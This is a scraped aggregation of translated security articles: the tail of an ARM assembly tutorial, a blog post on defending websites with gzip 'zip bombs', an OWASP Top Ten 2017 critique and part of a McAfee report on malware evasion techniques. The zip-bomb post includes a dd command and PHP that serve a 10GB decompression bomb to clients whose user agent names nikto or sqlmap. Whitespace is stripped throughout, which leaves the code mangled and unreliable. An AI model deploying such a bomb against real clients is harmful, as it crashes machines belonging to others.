下一条STR操作使用了基于索引前置修改的取址模式,R1的值被更新为R1+(R2<<2)的值。下面一段是执行完对应STR操作后寄存器的值。

gef>inforegisterr1 r10x100a865704

最后一个LDR操作使用了基于索引后置的取址模式。将R1指向的值加载到R2之后,更新了R1寄存器的值(R1+R2 = 0x100a8 + (0x3<<2) = 0x100b4)。下面一段是执行完对应LDR操作后寄存器的值。

gef>inforegisterr1 r10x100b465716

小结

LDR/STR的三种偏移模式:

立即数作为偏移

ldrr3,[r1,#4]

寄存器作为偏移

ldrr3,[r1,r2]

寄存器缩放值作为偏移

ldrr3,[r1,r2,LSL#2]

如何区分取址模式:

如果有一个叹号!,那就是索引前置取址模式,即使用计算后的地址,之后更新基址寄存器。

ldrr3,[r1,#4]! ldrr3,[r1,r2]! ldrr3,[r1,r2,LSL#2]! 如果在[]外有一个寄存器,那就是索引后置取址模式,即使用原有基址寄存器重的地址,之后再更新基址寄存器 ldrr3,[r1],#4 ldrr3,[r1],r2 ldrr3,[r1],r2,LSL#2

除此之外,就都是偏移取址模式了

ldrr3,[r1,#4] ldrr3,[r1,r2] ldrr3,[r1,r2,LSL#2]

地址模式:用作偏移

地址模式:前向索引

地址模式:后向索引


关于PC相对取址的LDR指令

有时候LDR并不仅仅被用来从内存中加载数据。还有如下这操作:

.section.text .global_start _start: ldrr0,=jump/*加载jump标签所在的内存位置到R0*/ ldrr1,=0x68DB00AD/*加载立即数0x68DB00AD到R1*/ jump: ldrr2,=511/*加载立即数511到R2*/ bkpt

这些指令学术上被称作伪指令。但我们在编写ARM汇编时可以用这种格式的指令去引用我们文字标识池中的数据。在上面的例子中我们用一条指令将一个32位的常量值放到了一个寄存器中。为什么我们会这么写是因为ARM每次仅仅能加载8位的值,原因倾听我解释立即数在ARM架构下的处理。


在ARM中使用立即数的规律

是的,在ARM中不能像X86那样直接将立即数加载到寄存器中。因为你使用的立即数是受限的。这些限制听上去有些无聊。但是听我说,这也是为了告诉你绕过这些限制的技巧(通过LDR)。

我们都知道每条ARM指令的宽度是32位,所有的指令都是可以条件执行的。我们有16中条件可以使用而且每个条件在机器码中的占位都是4位。之后我们需要2位来做为目的寄存器。2位作为第一操作寄存器,1位用作设置状态的标记位,再加上比如操作码(opcode)这些的占位。最后每条指令留给我们存放立即数的空间只有12位宽。也就是4096个不同的值。

这也就意味着ARM在使用MOV指令时所能操作的立即数值范围是有限的。那如果很大的话,只能拆分成多个部分外加移位操作拼接了。

所以这剩下的12位可以再次划分,8位用作加载0-255中的任意值,4位用作对这个值做0~30位的循环右移。这也就意味着这个立即数可以通过这个公式得到:v = n ror 2*r。换句话说,有效的立即数都可以通过循环右移来得到。这里有一个例子

有效值:

#256//1循环右移24位-->256 #384//6循环右移26位-->384 #484//121循环右移30位-->484 #16384//1循环右移18位-->16384 #2030043136//121循环右移8位-->2030043136 #0x06000000//6循环右移8位-->100663296(十六进制值0x06000000) Invalidvalues: #370//185循环右移31位-->31不在范围内(0–30) #511//111111111-->比特模型不符合 #0x06010000//110000001..-->比特模型不符合

看上去这样并不能一次性加载所有的32位值。不过我们可以通过以下的两个选项来解决这个问题:

用小部分去组成更大的值。

比如对于指令 MOV r0, #511

将511分成两部分:MOV r0, #256, and ADD r0, #255

用加载指令构造‘ldr r1,=value’的形式,编译器会帮你转换成MOV的形式,如果失败的话就转换成从数据段中通过PC相对偏移加载。

LDRr1,=511

如果你尝试加载一个非法的值,编译器会报错并且告诉你 invalid constant。如果在遇到这个问题,你现在应该知道该怎么解决了吧。唉还是举个栗子,就比如你想把511加载到R0。

.section.text .global_start _start: movr0,#511 bkpt

这样做的结果就是编译报错:

azeria@labs:~$astest.s-otest.o test.s:Assemblermessages: test.s:5:Error:invalidconstant(1ff)afterfixup

你需要将511分成多部分,或者直接用LDR指令。

.section.text .global_start _start: movr0,#256/*1ror24=256,soit'svalid*/ addr0,#255/*255ror0=255,valid.r0=256+255=511*/ ldrr1,=511/*load511fromtheliteralpoolusingLDR*/ bkpt

如果你想知道你能用的立即数的有效值,你不需要自己计算。我这有个小脚本,看你骨骼惊奇,传给你呦 rotator.py。用法如下。

azeria@labs:~$pythonrotator.py Enterthevalueyouwanttocheck:511 Sorry,511cannotbeusedasanimmediatenumberandhastobesplit. azeria@labs:~$pythonrotator.py Enterthevalueyouwanttocheck:256 Thenumber256canbeusedasavalidimmediatenumber. 1ror24-->256

译者注:这作者真的是用心良苦,我都看累了,但是怎么说,反复练习加实践,总归是有好处的。


传送门

【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

【系列分享】ARM 汇编基础速成3:ARM模式与THUMB模式




【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令
【系列分享】ARM 汇编基础速成4:ARM汇编内存访问相关指令
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/memory-instructions-load-and-store-part-4/

【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

$
0
0
【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

2017-07-11 11:46:37

阅读:493次
点赞(0)
收藏
来源: blog.haschek.at





【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

作者:WisFree





【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

译者:WisFree

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


我不知道你是否自己运营过一个网站或当过某个服务器的管理员,但如果你做过的话,你就会非常清楚地知道外面有多少坏人随时都在想着如何攻击你的网站或服务器。

想当初我还是十三岁的时候我就自己架设了我第一台服务器,那是一台小型服务器,运行的是linux系统,并且还配置了SSH远程访问控制。当时每天都会有大量来自天朝和俄罗斯的IP地址会尝试连接或访问我这台可爱的服务器,因此我每天都得去检查服务器的运行日志,并将那些貌似想干坏事的IP地址报告给他们的互联网服务提供商(IPS)。值得一提的是,我当时假设服务器所用的设备就是一台老款的ThinkPad T21,而且显示屏都已经坏得差不多了,配置完成之后它就一直乖乖地躺在我床底下运行着。

实际上,如果你自己运行过一台配置了SSH远程访问的Linux服务器的话,你就知道每天会有多少条链接来尝试访问你的服务器了:

grep'authenticationfailures'/var/log/auth.log

你从下图中看到,即使我禁用了服务器的密码身份验证,即使服务器运行在非标准端口上,每天仍然都会有成百上千次失败的登录尝试:


【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

WordPress已经把我们都给毁了

其实大家都知道,Web漏洞扫描工具明显出现的要比WordPress早,但由于WordPress的受欢迎程度如此之高,目前绝大多数的Web漏洞扫描工具都已经拥有扫描wp-admin目录错误配置或未修复插件等安全问题的功能了。

所以说,如果一个小型黑客组织想要通过入侵某网站来让大家都知道他们的话,他们首先肯定会下载一些这样的漏洞扫描工具,然后利用这些工具来对大量网站进行漏洞扫描测试,如果运气好的话他们很快就可以拿到目标网站后台服务器的访问权了。接下来要发生的事情,你懂的...

下图显示的是通过工具Nikto扫描之后所生成的日志文件样本:


【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

为什么所有的网站管理员或服务器运维人员每天都需要处理大量包含扫描尝试的日志呢?看到这里想必你也应该清楚了。但让我们冷静下来好好想想,我们有没有什么办法可以对这种恶意尝试行为予以反击呢?


有没有办法可以反击?

在对IDS(入侵检测系统)和Fail2ban的实现过程进行了重新回顾之后,我突然想起来了很久以前非常流行的Zip bombs(Zip炸弹)。


Zip炸弹是什么东西?

Zip炸弹也被称作是死亡压缩包或解压缩炸弹,这是一种恶意文档(archive)文件,当某个程序或系统尝试读取这个文件时,它便会让目标发生崩溃。一般来说,攻击者会利用这种Zip炸弹来让反病毒软件崩溃,然后为传统病毒的感染扫清障碍。

实际上,Zip炸弹并不会劫持程序的正常运行过程,Zip炸弹允许目标程序按照其原有的运行机制运行下去,但这个压缩文件是攻击者精心制作的,而反病毒软件如果想要扫描这个压缩文件的话,就需要对其进行解压缩,但解压缩文件将需要花费大量的时间、磁盘空间和内存,因此变造成了程序崩溃或假死。

这样看来,我们就可以利用Zip炸弹来对付那些不断重复的请求数据了。如果你有一个数据全部是0的大型文本文件的话,那么它的压缩效果将是非常非常好的,但解压起来可就不一样了。你可以参考这个文件(42.zip),它可以将一个大小为4500000GB的文件压缩成42字节。当你尝试查看文档内容时(即提取或解压缩),它便会耗光你的磁盘空间和内存。


如何利用ZIp炸弹对付漏洞扫描工具?

不幸的是,Web浏览器并不知道ZIP压缩文件是什么,但它们知道GZIP。

所以我们首先要使用数据“0”来创建一个大小为10GB的GZIP文件,你也可以进行多次压缩,不过这里为了方便演示就不进行这种操作了。

ddif=/dev/zerobs=1Mcount=10240|gzip>10G.gzip

接下来,创建我们的Zip炸弹并检查其文件大小:


【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

如上图所示,我们生成的Zip炸弹大小为10MB,其实我们还可以把它压缩得更小,但这个压缩效率已经足够我们进行演示了。

既然现在我们已经创建好了我们的Zip炸弹,接下来我们还得设置一个php脚本来将这个Zip炸弹发送给客户端。

<?php //preparetheclienttorecieveGZIPdata.Thiswillnotbesuspicious //sincemostwebserversuseGZIPbydefault header("Content-Encoding:gzip"); header("Content-Length:".filesize('10G.gzip')); //Turnoffoutputbuffering if(ob_get_level())ob_end_clean(); //sendthegzippedfiletotheclient readfile('10G.gzip');

一切搞定!接下来,我们就可以使用下面给出的方法来进行简单的防御了:

<?php $agent=lower($_SERVER['HTTP_USER_AGENT']); //checkfornikto,sqlmapor"bad"subfolderswhichonlyexistonwordpress if(strpos($agent,'nikto')!==false||strpos($agent,'sqlmap')!==false||startswith($url,'wp-')||startswith($url,'wordpress')||startswith($url,'wp/')){ sendBomb(); exit(); } functionsendBomb(){ //preparetheclienttorecieveGZIPdata.Thiswillnotbesuspicious //sincemostwebserversuseGZIPbydefault header("Content-Encoding:gzip"); header("Content-Length:".filesize('10G.gzip')); //Turnoffoutputbuffering if(ob_get_level())ob_end_clean(); //sendthegzippedfiletotheclient readfile('10G.gzip'); } functionstartsWith($haystack,$needle){ return(substr($haystack,0,strlen($needle))===$needle); }

虽然上面给出的这个脚本不能用来防御那些高级攻击者,但它足以对付那些只知道通过修改漏洞扫描工具的参数来进行恶意扫描的脚本小子了。

当这个脚本被调用之后会发生什么呢?


【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

如果你使用了其他脚本/浏览器/设备来测试这项技术的话,请你一定要告诉我你的结果,我会在文章后面将你的结果添加进去,谢谢大家(@geek_at)。


【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站

如果你是一个冒险主义者,你可以自己尝试一下...【点我尝试】(慎入)



【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站
【技术分享】方法虽老但依然有效:如何使用ZIP bomb来保护网站
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.haschek.at/2017/how-to-defend-your-website-with-zip-bombs.html

【技术分享】OWASP Top Ten 2017版: 得与失

$
0
0
【技术分享】OWASP Top Ten 2017版: 得与失

2017-07-11 16:06:17

阅读:918次
点赞(0)
收藏
来源: dzone.com





【技术分享】OWASP Top Ten 2017版: 得与失

作者:ureallyloveme





【技术分享】OWASP Top Ten 2017版: 得与失

译者:ureallyloveme

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


引言

新的 OWASP Top Ten已出版。让我们来看看一个安全研究员是如何评论今年该版本的得与失。

OWASP Top 10将常见的 web 应用安全漏洞进行了大致分类,有助于团队专注于web 应用程序的各项关键安全活动。我在华盛顿大学教授 Web 应用程序安全课程时,就结合了 OWASP Top 10及其框架。在为Security Innovation(美国知名网络安全供应商)执行应用安全评估的时候,我也用它来对发现的安全漏洞进行归类与分组。然而,我在实践中对它使用得越多,其的好处和缺陷也就越是凸显。

其2017候选版(或称待发版),提供了改进,但是也引入了新的问题。为了使其我的建议列表更为有效,如下将以重要程度为顺序展开:

将A4的"失效的访问控制"措词变更为"失效的授权控制",以阐明和拓展其含义。

简化A7为专注于日志记录/审计,这是一个可以完全独立开展的关键安全活动。

删除A10的"未受保护的APIs",在其他类别中添加有关APIs的文字。或是将该类别改为备份。


合并的类别

2017候选版本将 2013年版中类别"A4-不安全的直接对象引用"和"A7-功能级访问控制缺失"合并到了一个单独的类别--"A4失效的访问控制"。我认为这是明智之举,它创造了一个更广泛和强健的、集中于授权控制的类别。然而,我更趋向于将"授权"也包含到该类别的标题中,使之更好地与其他安全框架进行交互。这也将与他们在A2缺失的验证和会话管理中使用到的"验证"相呼应。

为什么呢?

新的“A4失效的访问控制”类别被描述为"对通过了身份验证的用户的限制"没有得到适当的强制执行。攻击者可以利用这些漏洞访问未经授权的功能和/或数据,如访问各种其他用户的帐户、查看敏感的文件、修改其他用户的数据、 更改访问权限等。A4假定用户已经通过了身份验证,而且一旦通过了验证,他将只专注于访问。其实还应该有一句明确且被广泛采用的词语--授权。A4并非关于失效的访问控制,因为它在广义上不太与"访问"相关。它并不涉及身份验证,这在A2中已经有所涵括。A4只专注与授权有关的问题,因此,应该把名称中的"访问"一词替换的。其标题才能够反映出真正的意义和具体的问题。

虽然这可能让人会感觉只是一个语义的问题,但我相信这个措辞的变化对于其上下文的语境并达成理解上的共识是非常重要的。在业界,身份验证和授权有着明确和特定的含义,所以它们应该反映在OWASP的标准中。

对于今年引入的两个新的类别:“A7-攻击检测与防范不足”和“A10-未受保护的API”,这些都是为了试图跟上不断进化的 web 应用环境而引入的。不过,我相信OWASP其他类别的涉及面会使得这两个新类略显多余。


A7-攻击检测与防范不足

这个类别被定义为:"大多数的应用程序和API缺乏针对手动和自动攻击的检测、 以及防止和响应的基本能力。攻击保护远远超出了基本的输入验证,并且涉及到自动检测、记录、响应甚至阻止攻击对漏洞利用的尝试。应用程序所有者还需要有快速部署修补程序以防止攻击的能力。

输入验证能够检测、响应、并且阻止攻击对漏洞利用的尝试。

A7将控件描述为应该"不仅仅是基本的输入验证,还涉及到检测、记录、响应甚至阻止攻击对漏洞利用的尝试。"而这正是输入验证的作用 — — 它检测到恶意或不应出现的用户输入所引发的错误,通过去除,记录或阻止它来作为响应。如果应用程序请求一美元金额的银行转帐,而用户提供的确是一个负数,那么应用程序将能识别该恶意输入,并通过阻断交易来作出回应。所以说将输入验证区别于检测和对漏洞利用尝试的响应,显然在本质上的不准确和具误导性的。


A9 和 A5中涉及到的修补

A7里提到:"应用程序所有者还需要有快速部署修补程序以防止攻击的能力。"而准确地说,这与A9-使用已知漏洞的组件,以及A5-安全配置错误 (其中包括了"软件应该保持更新")重复了。将修补问题单独成为一个类别,显然是多余的,而且降低了分类的价值。


A7类别并未给整张表带来任何新的内容

如前文所述,用适当的控制来验证用户的输入,以防止A1注入攻击、A2失效的身份验证、A3跨站脚本(XSS)、A4失效的授权、A6敏感信息的泄漏、A8跨站请求伪造(CSRF),所有这些都涵括了检测用户输入、记录(有时候)、响应甚至阻止恶意攻击。登录页面不能节流各种访问的尝试吗?这都是A2或A5涉及到的问题。如果有人使用SQLMap试图攻击的话,这就是A1涵括的问题。如果应用程序需要一个补丁的话,这就是A9涉及到的问题。


A7涵括的是应用程序,而设备则通常超出范围了

如果我们暂时接受攻击防护不足这种类别,那么对于一个组织来说,要解决这问题的最佳途径似乎就是部署 IDS / IPS / WAF设备了。然而,所有这些措施 (网络硬件和基础设施设备) 都是外部的,并非web应用的一部分。虽然我也知道应用程序并非在隔离状态下运行的,但OWASP Top 10应该更关注于web应用的安全,而不是更大的、基础设施方面的生态系统的安全。一念之差,则会在概念上滑入深渊。

不是要治标,而是要治本

A7似乎激发了"将技术掷向问题"的行为。整个行业越来越愿意为“商家过度炒作,却无法兑现”而买单。这些功效有待验证的、面向企业的动态漏洞检测与缓解方案成为了各种公司的巨大财务支出。这些设备本身并无良莠差别,但是在使用的时候应当仔细考虑它们的自身优势和特点。我曾供职过一家大型企业,他们宁可选择部署Web 应用防火墙(WAFs),而不去真正地修复其web应用程序中的问题。我去与他们的应用程序所有者交流,他们告知我之所以不愿意修复web应用程序的各种漏洞发现,是因为他们已经有了入侵检测系统(IDS),能够捕获各种SQL注入的尝试。这是一种道德风险,这些设备的存在会抑制潜在问题的减轻可能性。

除了我对OWASP Top Ten包含范围的疑问,此问题在根本上还是源于:让传统的网络安全部门承接应用安全方面的责任,这一趋势。这产生了一个试图从网络/基础设施的角度,而不是从解决问题的根源和保护应用程序本身的角度,去解决问题的坏习惯。正是因为如此,我很不情愿地推荐将部署安全设备直接作为OWASP Top 10的一个类别。因为这会怂恿公司去部署一个打包式的解决方案,而不是去认真修复那些属于OWASP其他类别的、潜在的问题,其他分为的根本问题。在某一种类别中,例如A1-注入或A3-跨站脚本XSS,设备可以作为一种非常有用的选择,以及被列为缓解的一种方式,但它们不应该被列成一种单独的类别。

因此,我的建议是删除该类别,或是更改成关注记录,从而让各种控制围绕着阻断、事件响应和审核,以形成一个简单的、总体的重要安全控制。通过这样做,它将填补2013版OWASP类别中的空白在,使各个组织更容易聚焦执行,从而产生更大的应用和整体安全。


A10-未受保护的APIs

A10 指出,"现代应用程序和API通常涉及丰富的客户端应用程序,例如浏览器中的JavaScrip和移动应用程序,连接到某种 API(SOAP / XML,REST / JSON,RPC,GWT 等)。这些API通常是不受到保护的,并且包含许多漏洞。

安全性不足的API通常与安全性不足且GUI欠佳的web应用程序有关。越来越多的web应用程序其实只是在浏览器中运行,并且用于访问API的客户端而已。试图厘清APIs和web应用程序之间的区别只会将问题弄得更为混淆,而降低OWASP Top 10的通用性。例如,我们该如何从API的角度来划分SQL注入漏洞的类别呢?它属于A1的漏洞还是A10的漏洞呢?

对于当前的2017候选版框架来说,它属于两者。将其划归A1是很合理的,但其归入A10也同样说得过去。其影响、缓解和优先级与A1类别联系紧密。而A10类别其本质说就是一种 API,它对整个系统产生了看似不必要地杂乱和冗余。其他的例子还有:

如果API不受保护的,那么它要么是A2-身份验证的问题,要么是A4授权的问题 (注意授权一词在此上下文中比较贴切)。

如果API包含了已知的、易受攻击软件的漏洞,那么它应该被涵括在A9中。

如果API暴露了敏感的数据,那么它应该被涵括在A6中。

如果API容易受到注入的攻击,那么它应该被涵括在A1中。

因此它没有必要单独成为一个自己的类别,相反应该往其他要求中添加API相关论述,从而让应用程序所有者们能够了解到这些问题,并且应用到API以及那些丰富的web应用程序中。

如果一定要有一个能够替代当前A10的类别,那么应该是 “备份和恢复的不安全或不足”,虽然它可能有点超出左边的标题范畴了。很多时候,应用程序并不能执行充分的备份或恢复机制。CIA三元素(confidentiality, integrity和availability)的最后一部分就是可用性,但是它常在安全中被忽视。强健的信息备份对于应用程序容错能力来说是很重要的。备份问题的有趣之处就在于:它使得可能出现威胁场景中,甚至不需要有传统的攻击者就能造成损失。一个倒霉的管理员可以会擦除掉整个数据库或是源代码,以及价值数以百万美元的IP地址或数据可能会瞬间丢失。这些类型的问题通常不会成为新闻,因为它们往往被归咎为一些令人尴尬的错误,而不是由穿着连帽衫的黑客或是敌对民族国家所犯下的事端。不过随着web应用程序处理和存储着我们越来越多的个人数据,这些信息是否能通过可靠的备份和恢复策略予以安全地保存,比以往任何时候都更加重要了。

OWASP Top Ten影响到开发团队中的每个角色,从需要选择安全设计组件,以缓解OWASP Top Ten中各种漏洞的架构师,到需要做代码防御的开发者,再到为安全和合规目的需要确保没有OWASP Top Ten任何漏洞残留的测试人员。为了您和您的团队,请参阅检我们如下的免费OWASP资源吧:

白皮书:通过对OWASP Top Ten的实践,改进您的应用安全程序(https://web.securityinnovation.com/owasp-top-ten-developers-perspective)

指南:通过对OWASP Top Ten来简化应用程序的安全与合规(https://web.securityinnovation.com/owasp-top-ten)

免费在线课程: DES 225: OWASP Top的威胁及缓解方法(https://www.securityinnovation.com/course-catalog/application-security/secure-design/owasp-top-threats-and-mitigations-free)



【技术分享】OWASP Top Ten 2017版: 得与失
【技术分享】OWASP Top Ten 2017版: 得与失
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://dzone.com/articles/owasp-top-ten-for-2017-the-hits-amp-misses

【安全报告】McAfee Labs 威胁报告 2017.06 (上)

$
0
0
【安全报告】McAfee Labs 威胁报告 2017.06 (上)

2017-07-11 14:40:28

阅读:1633次
点赞(0)
收藏
来源: mcafee.com





【安全报告】McAfee Labs 威胁报告 2017.06 (上)

作者:ureallyloveme





【安全报告】McAfee Labs 威胁报告 2017.06 (上)

译者:ureallyloveme

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


概要

恶意软件规避技术和发展趋势

当第一款恶意软件成功将自己的代码部分加密,使内容无法被安全分析师所读取的时候,那些恶意软件开发者早在上世纪 80 年代就开始尝试如何规避安全产品了。如今,有成百上千的反安全、反沙盒、反分析的规避类技术被恶意软件作者所采用。在这的主题中,我们来研究一些最为强大的规避技术、拥有现成规避技术的大型黑市、当代的一些恶意软件家族如何利用规避技术,以及将来如何发展,也包括机器学习类的规避和基于硬件的规避。

不识庐山真面目: 隐写术面对的隐蔽威胁

隐写术已存在几个世纪了。从古希腊人到现代的网络攻击者,人们总在看似平常的对象中隐藏秘密消息。在数字世界里,各种消息常常隐藏在图像、音频轨道、视频剪辑或文本文件之中。攻击者使用隐写术,避开安全系统的检查来传递信息。在这的主题中,我们来探索隐写术的一个有趣领域。我们将涵盖其历史、隐藏信息的普通方法、和它在流行恶意软件中的使用、以及它在网络中的变形。最后,我们提供防止这种形式攻击的策略和程序。

密码盗用程序”Fareit”的增长性危险

人们、企业和政府越来越多地依赖于那些仅靠密码所保护的系统与设备。通常情况下,这些密码比较脆弱或者容易被盗,它们吸引着各种网络罪犯。在这的主题中,我们将仔细分析Fareit,这一最为著名的密码窃取类恶意程序。我们将涉及它从2011年的起源和它是如何演变至今的,包括其典型的感染载体,其体系结构、内部运作机制和盗窃行为、以及它是如何规避检测的。当然也有它在2016年美国总统选举之前的民主党全国委员会中所起到的作用。我们也提供一些规避被Fareit和其他密码盗用工具感染的实用建议。

恶意软件的规避技术和发展趋势— —Thomas Roccia

在过去的十年间,技术进步显著地改变了我们的生活。即使是最简单的日常任务,我们也会依靠计算机去完成。而当它们不再可用、或是不能如我们所预期的执行操作时,我们会倍感压力。而正是因为我们所创建、使用和交换的数据信息是如此的有价值连城、且经常涉及到个人隐私,因此对数据偷窃的各种尝试也正在世界各处以几何式增长着。

恶意软件最初被研发出来是作为一项技术挑战的,但攻击者很快就意识到了其对于数据窃取的价值,网络犯罪行业随即诞生。各个信息安全公司,包括 McAfee在内,很快就组建了信息保卫团队和使用反恶意软件技术的系统。作为回应,恶意软件开发者也开始了尝试如何规避各类安全产品的方法。

最初的规避技术是很简单的,因为其对应的反恶意软件产品也是同样的简单。例如,更改恶意文件中的一个字节就足以绕过安全产品的特征码检测。当然之后也发展出了更为复杂的机制,例如多态性或混淆机制。

如今恶意软件已是非常强了,它们不再是由孤立的群体或是青少年们开发出了为了证明什么,而是由某些政府、犯罪集团和黑客开发出来,用以刺探、窃取或破坏数据。

本主题将详细介绍当今最强大和常见的规避技术,并解释恶意软件作者是如何尝试着使用它们来实现其目标的。

为什么要使用规避技术?

为了执行恶意操作,攻击者需要创建恶意软件。然而,除非他们的尝试未被发现,否则他们无法实现目标。可见,这是一场安全供应商和攻击者之间猫和老鼠般的游戏,其中包括了攻击者对安全技术的操作和实践的监测。

”规避技术”这一术语包括了:恶意软件用来规避自身被检测、分析和解读的所有方法。

我们可以把规避技术分为三大类:

反安全技术:用于规避那些保护环境的工具,如反恶意软件引擎、防火墙、应用控制或其他工具的检测。

反沙箱技术:用于检测到自动化分析,并规避那些恶意软件行为报告的引擎。检测注册表项、文件或与虚拟环境相关的进程,让恶意软件知道自己是否正运行在沙箱之中。

反分析技术:用来检测和迷惑恶意软件分析师。例如,通过识别出监测类工具,如Process Explorer或Wireshark,以及一些进程监控的tricks、packers,或者使用混淆处理来规避逆向工程。

一些先进的恶意软件样本会综合采用两个或三个此类技术。例如,恶意软件可以使用RunPE(在内存中本来的进程中运行另一个进程)的技术来规避反恶意软件、沙箱或分析。一些恶意软件能检测到虚拟环境中的特殊注册表键值,以允许威胁规避自动化的沙盒,以及规避分析员试图在虚拟机中动态运行可疑的恶意二进制文件。

因此,对于安全研究人员来说,了解这些规避技术,以确保安全技术仍然可用是很重要的。

通过下图,我们来看频繁使用的几种类型的规避技术:

恶意软件使用到的规避技术


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

反沙箱已更为突出,因为更多的企业正在使用沙箱来检测恶意软件。

定义

网络安全躲避领域中,有许多热门的术语。这里为大家列举一些经常被攻击者所使用到的工具和术语。

Crypters:恶意软件在其执行过程中进行加密和解密。使用这种技术,恶意软件经常不会被反恶意软件引擎或静态分析所检测到。加密器通常可以被定制,并能在地下市场里买到。定制的加密器会使得解密或反编译更具挑战性。Aegis Crypter、Armadillo、和RDG Tejon都是先进加密器的代表。

Packer:类似于加密器。Packer对恶意软件文件进行压缩而非加密。UPX是一种典型的Packer。

Binder:将一个或多个恶意软件文件捆绑成一个。一个可执行的恶意软件可以与JPG 文件绑定,但其扩展名仍为EXE。恶意软件作者通常将恶意软件文件与合法的EXE文件相捆绑。

Pumper:增加文件的大小,以使恶意软件有时能够绕过反恶意软件的引擎。

FUD:使反恶意软件完全无法被探测。恶意软件的卖家用来 描述和推广其工具。一个成功的 FUD程序结合了scantime和runtime因素,从而达到100%不会被检测到的效果。我们当前知道有两种类型的FUD:

- FUD scantime:在恶意软件运行之前,保护其不被反恶意引擎检测到。

- FUD runtime:在恶意软件运行期间,保护其不被反恶意引擎检测到。

Stub:通常包含用于加载(解密或减压)原始的恶意文件到内存所需的例程。

Unique stub generator:为每个正在运行的实例创建独特的stub,以使检测和分析更为困难。

Fileless malware: 通过将自身插入到内存而并非向磁盘写入文件的方式来感染系统。

Obfuscation:使得恶意软件代码难以为人类所理解。将编码过的纯文本字符串(XOR、Base64等)插入恶意文件,或无用功能添加到该文件中。

Junk code :添加无用代码或假指令到二进制文件,以迷惑反汇编视图或耗废分析时间。

Anti’s:有时候地下论坛或黑市,用来定义所有用于绕过、禁用、或干掉保护和监测工具的技术。

Virtual machine packer:一些先进的packers采用了虚拟机的概念。当恶意软件的EXE文件被打包后,原始代码被转化成虚拟机的字节代码,并会模拟处理器的行为,VMProtect和CodeVirtualizer就使用的是这种技术。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 1:规避软件样本。

无需编码的规避技术

恶意软件作者要想成功的基础是使用规避技术。网络罪犯,甚至是那些业余爱好者都能理解到这一点。所以规避技术发展出了一个既活跃又能被轻易访问到的市场。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 2:在互联网上发现的加密器工具的样本。

规避技术的黑市

一些卖家已经将多种规避技术编译成了一种工具,并且将它们在地下市场上出售给有经验的恶意软件创建者或是通过负责传播恶意软件来支持大型的商业活动。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 3: 规避工具有时会被低价发售。一些卖家已经从互联网上购买或偷窃了多个crypters和packers然后打包出售。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 4:其他卖家也会自己开发一些工具,并保留源代码以规避分析和检测。这些价格会因为其工具(据推测)不能被他人分销而比较昂高。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 5:有些卖家会提供生产FUD文件的服务。服务会可能因为提供商使用的是高级的代码控制、高度混淆处理或其他自定义的加密器技巧而更昂贵。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图6:也有可能是购买一张证书来签发任何恶意软件,从而绕过操作系统的安全机制。

我们发现,如今在价格和销售服务上已发生了巨大的变化。某项服务会比那些只能提供一款容易被反恶意软件产品所检测到的编译工具,要昂贵许多。

规避工具销售的黑市


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

【安全报告】McAfee Labs 威胁报告 2017.06 (上)

【安全报告】McAfee Labs 威胁报告 2017.06 (上)

【安全报告】McAfee Labs 威胁报告 2017.06 (上)

【安全报告】McAfee Labs 威胁报告 2017.06 (上)

被有组织的犯罪分子和安全公司所利用的规避技术

黑客组织也对规避技术感兴趣。2015年,Hacking team透露了一些用于感染和监视系统的技术。他们强大的UEFI/BIOS rootkit可以在不被检测的情况下进行传播。此外,Hacking team也开发了他们自己的FUD工具core-packer。

提供的渗透测试服务的安全公司了解并能使用这些技术,以允许其渗透测试人员模拟真正的黑客入侵。

Metasploit suite、Veil-Evasion和Shellter都允许渗透测试人员保护他们“恶意”的二进制文件。安全研究人员抢在攻击者发现之前,找到此类技术。我们已经发现最近的威胁”DoubleAgent”触发反恶意软件的解决方案。。

规避技术正在行动

在过去一年中,我们分析了很多具有规避能力的恶意软件样本。在典型的攻击中,攻击者在其攻击流程的许多步骤中会使用到规避技术。

下图是在一个典型的攻击序列中用到的规避技术:


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

Dridex 银行木马

Dridex(也被称为 Cridex)首次在2014年出现的知名的银行木马。这种恶意软件窃取银行凭据并通过包含恶意宏的Word文件,以电子邮件附件的形式进行传播。自2014 以来,发生过多起Dridex事件。在其每一次大获成功后,其对应的规避技术也相应的得到了增强。

Dridex深度依赖于病毒载体的免杀。我们分析了它的几个样本。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 7: 我们可以看到函数名称和数据的混淆。这种混淆是很细微的,因为它使用ASCII数字。(哈希:610663e98210bb83f0558a4c904a2f5e)

其他变种则会用到更多先进的技术。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图8:这个样本使用字符串的规避和内容混淆技术,PowerShell绕过策略执行,并在maxmind.com上检查ip地址是否是反病毒软件供应商的黑名单。(哈希:e7a35bd8b5ea4a67ae72decba1f75e83)

